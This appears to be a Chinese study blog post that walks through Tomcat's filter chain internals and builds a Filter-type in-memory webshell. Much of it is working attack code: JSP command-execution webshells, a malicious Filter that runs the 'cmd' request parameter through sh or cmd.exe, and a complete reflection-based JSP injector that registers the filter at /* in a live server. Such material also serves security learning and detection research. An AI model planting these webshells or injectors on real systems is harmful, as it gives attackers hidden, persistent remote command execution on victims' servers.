Tomcat-Filter型内存马

前言

当我们访问一个java网站的路由时
在请求到达Servlet前,会经过若干自定义的Filter拦截器
假使动态注册恶意 Filter,并且将其放到 最前面,那么我们就实现的命令执行内存马

思路

再次之前,我们要学会如何搭建一个Servlet服务
可以看这位师傅的博客https://drun1baby.top/2022/08/22/Servlet-%E9%A1%B9%E7%9B%AE%E6%90%AD%E5%BB%BA/#%E7%AC%AC%E4%BA%8C%E7%A7%8D%E6%90%AD%E5%BB%BA%E6%96%B9%E5%BC%8F
能搭好一个服务之后,正式开始内存马学习
java目录下写入一个filter类
web.xml

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

这样在访问/filter时,会进入filter类里面
现在我们尝试调试进入filter之后会发生什么
单步调试进ApplicationFilterChain#doFilter

走到Globals.IS_SECURITY_ENABLED,进入internalDoFilter

这里就一直循环,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法,最后一个Filter调用Servlet.service()
当然,更重要的是去分析Filter是如何被建立的,这涉及到我们内存马的创建
我们在init打个断点,看此前的调用栈
可能是版本的问题,无法找到和作者一样的断点
全局搜索还是存在的,关键类是StandardEngineValve#invoke 再往后就是一步步调用invoke,结合这张图是

最后是在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。
最关键的在这一处StandardContext#findFilterConfig

1
2
3
public FilterConfig findFilterConfig(String name) {
return (FilterConfig)this.filterConfigs.get(name);
}
1
构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而拦截器,对应之前web.xml里的filter-mapping 标签
以下就将延续这个东西进行展开
这里需要讲解一些基础概念
我们知道在standardContext类(是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系)里面,有几个与filter相关的变量

1
2
3
4
filterConfigs
filterDefs
filterMaps
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

在init之初

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();

for(Map.Entry<String, FilterDef> entry : this.filterDefs.entrySet()) {
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}

try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
Throwable filterConfig = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(filterConfig);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), filterConfig);
ok = false;
}
}

return ok;
}
}

看到这里有点懵,对java某些特性有点不熟悉,哎
大佬的思路是

1
2
3
4
5
6
通过前文分析,得出构造的主要思路如下
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

具体实现

jsp马

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

这是一个简单的无回显马

1
2
3
4
5
6
7
8
9
10
11
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>

这是一个简单的回显马

现在,我们直接写一个恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import javax.servlet.*;  
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;


public class evilFilter implements Filter {
public void destroy() {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}

public void init(FilterConfig config) throws ServletException {

}

}

直接改<url-pattern>/*</url-pattern>
可以实现

改成/evilFilter就不行了,没有回显
而现实想实现上述效果,就需要我们把Filter动态导入进去
StandardContext Filter实例存放在filterConfigs、filterDefs、filterMaps这三个变量里面,将fifter添加到这三个变量中即可将内存马打入
如何获取变量呢?
直接给出jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<%--
User: Drunkbaby
Date: 2022/8/27
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "Drunkbaby";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

内存马的出现必然伴随它的检测,在打awd之类的比赛可以注意一下
其实看到这里我们的内存马依旧没与实际反序列化凑在一起,依旧需要文件落地
而且除了Filter,还有Listener,Servlet,Value型等等等
目前暂定的学习路径是学完基础的内存马,

参考

https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/#0x04-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0

http://wjlshare.com/archives/1529
https://blog.csdn.net/qq_34101364/article/details/120856415
https://www.cnblogs.com/nice0e3/p/14622879.html#servletcontext